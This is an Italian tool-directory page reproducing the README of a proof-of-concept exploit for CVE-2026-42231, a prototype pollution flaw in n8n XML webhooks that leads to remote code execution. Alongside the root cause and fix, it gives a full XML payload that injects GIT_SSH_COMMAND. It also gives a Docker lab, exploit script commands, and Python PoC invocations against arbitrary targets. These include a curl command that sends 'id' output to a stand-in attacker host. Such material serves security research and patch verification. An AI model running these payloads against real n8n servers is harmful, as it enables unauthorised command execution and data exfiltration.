Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-42231 — Proof-of-concept exploit per CVE-2026-42231, una vulnerabilità critica di prototype pollution nei webhook XML di n8n che porta all'esecuzione remota di codice. Include laboratorio Docker, PoC in Python e verificatore Node.js. | Kitploit
Strumenti/GitHubGitHub/rudsarkar/cve-2026-42231
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza Web
GitHubrudsarkar/cve-2026-42231

CVE-2026-42231

Proof-of-concept exploit per CVE-2026-42231, una vulnerabilità critica di prototype pollution nei webhook XML di n8n che porta all'esecuzione remota di codice. Include laboratorio Docker, PoC in Python e verificatore Node.js.

Vedi Repository
165 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

GHSA-q5f4-99jv-pgg5 — n8n XML Webhook Prototype Pollution → RCE

CVE: CVE-2026-42231
Gravità: Critica (CVSS 10.0)
Versioni interessate: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Corretta in: n8n 1.123.32 / 2.17.4 / 2.18.1


Riepilogo della vulnerabilità

packages/cli/src/middlewares/body-parser.ts crea un singleton a livello di modulo del parser xml2js senza tagNameProcessors o attrNameProcessors. Questo consente a un attaccante di inviare un corpo webhook XML contenente un elemento <__proto__>.

xml2js 0.6.2 usa Object.defineProperty con un descrittore di dati per impostare le chiavi degli elementi sugli oggetti parsati. Poiché '__proto__' in obj è sempre true, assignOrPush() avvolge il valore in un array e lo memorizza come proprietà dati enumerabile propria — bypassando l'accessor [[Set]] che normalmente aggiornerebbe la catena del prototipo in modo sicuro.

La proprietà propria __proto__ sopravvive a JSON.stringify (eseguito quando n8n persiste i dati di esecuzione su SQLite/PostgreSQL), e dopo JSON.parse al ricaricamento, un successivo Object.assign(target, reloadedBody) reindirizza il prototipo di target all'oggetto controllato dall'attaccante.

Nei workflow che contengono anche un nodo Git che esegue un'operazione SSH, il prototipo inquinato espone un valore spawnOptions / GIT_SSH_COMMAND a simple-git's createInstanceConfig, consentendo l'esecuzione di comandi a livello di sistema operativo.


Causa principale

// packages/cli/src/middlewares/body-parser.ts  (VULNERABILE — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // converte i tag in minuscolo — ma NON blocca __proto__
    explicitArray: false,
    // ← NESSUN tagNameProcessors
    // ← NESSUN attrNameProcessors
});

Correzione (>= 1.123.32):

function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

Catena di sfruttamento

1. L'attaccante invia una POST XML a un trigger Webhook pubblico:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. Il body parser xml2js crea req.body.root dove '__proto__' è una
   PROPRIETÀ DATI ENUMERABILE PROPRIA:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. deepCopy() di n8n itera le chiavi proprie tramite for...in + hasOwnProp.
   L'assegnazione  clone['__proto__'] = deepCopy(attackerArray)
   sostituisce silenziosamente il prototipo di clone tramite l'accessor [[Set]].

4. n8n serializza i dati di esecuzione nel DB:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   La chiave __proto__ è inclusa perché è propria ed enumerabile.
   Confermato nella tabella execution_data in SQLite.

5. Al ricaricamento, JSON.parse ricrea '__proto__' come proprietà dati propria
   (oggetto semplice, senza avvolgimento in array).
      Object.assign(gitOptions, reloadedBody)
   reindirizza il prototipo di gitOptions all'oggetto controllato dall'attaccante.

6. Quando il nodo Git chiama simpleGit(gitOptions):
      createInstanceConfig(gitOptions)
   legge config.spawnOptions tramite la catena del prototipo → truthy →
   spawnOptionsPlugin viene registrato.
   Con GIT_SSH_COMMAND nell'oggetto env, git esegue il comando dell'attaccante
   alla successiva operazione SSH.

Nota su normalizeTags

normalizeTags: true converte in minuscolo tutti i nomi dei tag XML, quindi gli elementi figlio come <GIT_SSH_COMMAND> diventano git_ssh_command nell'oggetto parsato. Per preservare le maiuscole nei nomi delle variabili d'ambiente, usa attributi XML (i nomi degli attributi non vengono normalizzati da normalizeTags):

<env GIT_SSH_COMMAND="attacker_cmd"/>

Prerequisiti

  1. Un trigger Webhook pubblico (Autenticazione = Nessuna, Content-Type = XML) deve esistere in un workflow attivo.
  2. Per il percorso RCE completo, il workflow deve contenere anche un nodo Git che esegue un'operazione autenticata via SSH (clone / push tramite URL SSH).
  3. Versione n8n < 1.123.32.

Configurazione del laboratorio

Requisiti

  • Docker ≥ 24 con Compose v2
  • Python 3.9+ (per l'uso autonomo del PoC senza Docker)
  • Porta 5678 libera su localhost

Configurazione con un comando

chmod +x exploit.sh
./exploit.sh setup

Questo scarica n8nio/n8n:1.123.22 (ultima release interessata), costruisce l'immagine dell'attaccante, avvia il target vulnerabile su http://localhost:5678, crea e attiva automaticamente un workflow webhook, e salva l'URL del webhook in .webhook_state.


Walkthrough completo dello sfruttamento

1. Configurazione

./exploit.sh setup

Output atteso (troncato):

[*] Download dell'immagine n8n vulnerabile (1.123.22) ...
[*] Costruzione dell'immagine dell'attaccante ...
[*] Avvio del target n8n vulnerabile ...
[*] Attesa che n8n diventi sano ...
[*] Creazione del workflow webhook (Webhook → nodo Code) ...
[+] Laboratorio pronto.

    Esegui:  ./exploit.sh demo        # verifica la primitiva di pollution
             ./exploit.sh exploit     # consegna tutti e tre i payload RCE

2. Verifica della primitiva di pollution (modalità demo)

./exploit.sh demo

Il PoC invia un payload di verifica e mostra il body parsato rispedito dal workflow n8n. Un'istanza vulnerabile restituisce:

[+] HTTP 200
    Risposta: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFERMATO\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

3. Consegna dei payload con intento RCE

./exploit.sh exploit
# oppure con un comando personalizzato:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

Vengono consegnati tre payload complementari:

PayloadTecnica
ATag <__proto__> — GIT_SSH_COMMAND come attributo XML
BCatena <constructor><prototype>
C<__proto__> annidato con attributi env

4. Osservazione del risultato (con nodo Git nel workflow)

  • Nel log di esecuzione di n8n, cerca l'errore del comando git — includerà l'output del tuo GIT_SSH_COMMAND iniettato se l'RCE è scattato.
  • In modalità demo con il nodo Code, il body della risposta del workflow conterrà "step4_objectAssignPolluted": true a conferma della catena.

Uso autonomo (senza Docker)

pip install -r requirements.txt

# Solo verifica — nessun nodo Git richiesto:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <percorso-webhook> \
    --demo

# Exploit completo — richiede workflow Webhook + Git/SSH:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <percorso-webhook> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

Formato URL webhook (n8n v1.123.x)

Scarica lo strumento